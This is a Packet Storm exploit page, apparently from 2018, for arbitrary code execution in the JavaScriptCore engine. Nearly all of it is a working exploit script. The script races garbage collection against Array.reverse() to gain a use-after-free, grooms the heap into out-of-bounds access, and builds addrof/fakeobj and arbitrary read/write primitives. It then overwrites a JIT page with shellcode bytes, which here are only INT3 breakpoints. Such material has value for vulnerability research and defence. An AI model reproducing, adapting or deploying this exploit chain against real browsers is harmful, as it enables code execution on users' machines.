Lucene search

K
packetstormRet2PACKETSTORM:148601
HistoryJul 18, 2018 - 12:00 a.m.

JavaScript Core Arbitrary Code Execution

2018-07-1800:00:00
ret2
packetstormsecurity.com
28

0.12 Low

EPSS

Percentile

94.8%

`// Load Int library, thanks saelo!  
load('util.js');  
load('int64.js');  
  
  
// Helpers to convert from float to in a few random places  
var conva = new ArrayBuffer(8);  
var convf = new Float64Array(conva);  
var convi = new Uint32Array(conva);  
var convi8 = new Uint8Array(conva);  
  
var floatarr_magic = new Int64('0x3131313131313131').asDouble();  
var floatarr_magic = new Int64('0x3131313131313131').asDouble();  
var jsval_magic = new Int64('0x3232323232323232').asDouble();  
  
var structs = [];  
  
function log(x) {  
print(x);  
}  
  
// Look OOB for array we can use with JSValues  
function findArrayOOB(corrupted_arr, groom) {  
log("Looking for JSValue array with OOB Float array");  
for (let i = 0; i<corrupted_arr.length; i++) {  
convf[0] = corrupted_arr[i];  
  
// Find the magic value we stored in the JSValue Array  
if (convi[0] == 0x10) {  
convf[0] = corrupted_arr[i+1];  
if (convi[0] != 0x32323232)  
continue;  
  
// Change the first element of the array  
corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble();  
  
let target = null;  
// Find which array we modified  
for (let j = 0; j<groom.length; j++) {  
if (groom[j][0] != jsval_magic) {  
target = groom[j];  
break  
}  
}  
  
log("Found target array for addrof/fakeobj");  
  
// This object will hold our primitives  
let prims = {};  
  
let oob_ind = i+1;  
  
// Get the address of a given jsobject  
prims.addrof = function(x) {  
// To do this we put the object in the jsvalue array and  
// access it OOB with our float array  
target[0] = x;  
return Int64.fromDouble(corrupted_arr[oob_ind]);  
}  
  
// Return a jsobject at a given address  
prims.fakeobj = function(addr) {  
// To do this we overwrite the first slot of the jsvalue array  
// with the OOB float array  
corrupted_arr[oob_ind] = addr.asDouble();  
return target[0];  
}  
  
return prims;  
}  
}  
}  
  
// Here we will spray structure IDs for Float64Arrays  
// See http://www.phrack.org/papers/attacking_javascript_engines.html  
function sprayStructures() {  
function randomString() {  
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);  
}  
// Spray arrays for structure id  
for (let i = 0; i < 0x1000; i++) {  
let a = new Float64Array(1);  
// Add a new property to create a new Structure instance.  
a[randomString()] = 1337;  
structs.push(a);  
}  
}  
  
  
// Here we will create our fake typed array and get arbitrary read/write  
// See http://www.phrack.org/papers/attacking_javascript_engines.html  
function getArb(prims) {  
sprayStructures()  
  
let utarget = new Uint8Array(0x10000);  
utarget[0] = 0x41;  
  
// Our fake array  
// Structure id guess is 0x200  
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]  
let jscell = new Int64('0x0118270000000200');  
  
// Construct the object  
// Each attribute will set 8 bytes of the fake object inline  
obj = {  
'a': jscell.asDouble(),  
  
// Butterfly can be anything  
'b': false,  
  
// Target we want to write to  
'c': utarget,  
  
// Length and flags  
'd': new Int64('0x0001000000000010').asDouble()  
};  
  
  
// Get the address of the values we stored in obj  
let objAddr = prims.addrof(obj).add(16);  
log("Obj addr + 16 = "+objAddr);  
  
// Create a fake object from this pointer  
let fakearray = prims.fakeobj(objAddr);  
  
// Attempt to find a valid ID for our fake object  
while(!(fakearray instanceof Float64Array)) {  
jscell.add(1);  
obj['a'] = jscell.asDouble();  
}  
  
log("Matched structure id!");  
  
// Set data at a given address  
prims.set = function(addr, arr) {  
fakearray[2] = addr.asDouble();  
utarget.set(arr);  
}  
  
// Read 8 bytes as an Int64 at a given address  
prims.read64 = function(addr) {  
fakearray[2] = addr.asDouble();  
let bytes = Array(8);  
for (let i=0; i<8; i++) {  
bytes[i] = utarget[i];  
}  
return new Int64(bytes);  
}  
  
// Write an Int64 as 8 bytes at a given address  
prims.write64 = function(addr, value) {  
fakearray[2] = addr.asDouble();  
utarget.set(value.bytes);  
}  
}  
  
// Here we will use build primitives to eventually overwrite the JIT page  
function exploit(corrupted_arr, groom) {  
save.push(groom);  
save.push(corrupted_arr);  
  
// Create fakeobj and addrof primitives  
let prims = findArrayOOB(corrupted_arr, groom);  
  
// Upgrade to arb read/write from OOB read/write  
getArb(prims);  
  
// Build an arbitrary JIT function  
// This was basically just random junk to make the JIT function larger  
let jit = function(x) {  
var j = []; j[0] = 0x6323634;  
return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };  
  
// Make sure the JIT function has been compiled  
jit();  
jit();  
jit();  
  
// Traverse the JSFunction object to retrieve a non-poisoned pointer  
log("Finding jitpage");  
let jitaddr = prims.read64(  
prims.read64(  
prims.read64(  
prims.read64(  
prims.addrof(jit).add(3*8)  
).add(3*8)  
).add(3*8)  
).add(5*8)  
);  
log("Jit page addr = "+jitaddr);  
  
// Overwrite the JIT code with our INT3s  
log("Writting shellcode over jit page");  
prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]);  
  
// Call the JIT function, triggering our INT3s  
log("Calling jit function");  
jit();  
  
throw("JIT returned");  
}  
  
  
// Find and set the length of a non-freed butterfly with our unstable OOB primitive  
function setLen(uaf_arr, ind) {  
let f=0;  
for (let i=0; i<uaf_arr.length; i++) {  
convf[0] = uaf_arr[i];  
  
// Look for a new float array, and set the length  
if (convi[0] == 0x10) {  
convf[0] = uaf_arr[i+1];  
if (convi[0] == 0x32323232 && convi[1] == 0x32323232) {  
convi[0] = 0x42424242;  
convi[1] = 0x42424242;  
uaf_arr[i] = convf[0];  
return;  
}  
}  
}  
  
throw("Could not find anouther array to corrupt");  
}  
  
  
let oob_rw_unstable = null;  
let oob_rw_unstable_ind = null;  
let oob_rw_stable = null;  
  
// After this point we would stop seeing GCs happen enough to race :(  
const limit = 10;  
const butterfly_size = 32  
  
let save = [0, 0]  
  
for(let at = 0; at < limit; at++) {  
log("Trying to race GC and array.reverse() Attempt #"+(at+1));  
  
// Allocate the initial victim and target arrays  
let victim_arrays = new Array(2048);  
let groom = new Array(2048);  
for (let i=0; i<victim_arrays.length; i++) {  
victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)  
groom[i] = new Array(butterfly_size/2).fill(jsval_magic)  
}  
  
let vv = [];  
let v = []  
  
// Allocate large strings to trigger the GC while calling reverse  
for (let i = 0; i < 506; i++) {  
for(let j = 0; j < 0x100; j++) {  
// Cause GCs to trigger while we are racing with reverse  
if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) }  
victim_arrays.reverse()  
}  
}  
  
for (let i = 0; i < victim_arrays.length; i++) {  
  
// Once we see we have replaced a free'd butterfly  
// fill the replacing array with 0x41414141... to smash rest  
// of UAF'ed butterflies  
  
// We know the size will be 506, because it will have been replaced with v  
// we were pushing into in the loop above  
  
if(victim_arrays[i].length == 506) {  
victim_arrays[i].fill(2261634.5098039214)  
}  
  
// Find the first butterfly we have smashed  
// this will be an unstable OOB r/w  
  
if(victim_arrays[i].length == 0x41414141) {  
oob_rw_unstable = victim_arrays[i];  
oob_rw_unstable_ind = i;  
break;  
}  
}  
  
// If we successfully found a smashed and still freed butterfly  
// use it to corrupt a non-freed butterfly for stability  
  
if(oob_rw_unstable) {  
  
setLen(oob_rw_unstable, oob_rw_unstable_ind)  
  
for (let i = 0; i < groom.length; i++) {  
// Find which array we just corrupted  
if(groom[i].length == 0x42424242) {  
oob_rw_stable = groom[i];  
break;  
}  
}  
if (!oob_rw_stable) {  
throw("Groom seems to have failed :(");  
}  
}  
  
// chew CPU to avoid a segfault and help with gc schedule  
for (let i = 0; i < 0x100000; i++) { }  
  
  
// Attempt to clean up some  
let f = []  
for (let i = 0; i < 0x2000; i++) {  
f.push(new Array(16).fill(2261634.6098039214))  
}  
  
save.push(victim_arrays)  
save.push(v)  
save.push(f)  
save.push(groom)  
  
if (oob_rw_stable) {  
log("Found stable corrupted butterfly! Now the fun begins...");  
exploit(oob_rw_stable, groom);  
break;  
}  
  
}  
throw("Failed to find any UAF'ed butterflies");  
  
  
`

0.12 Low

EPSS

Percentile

94.8%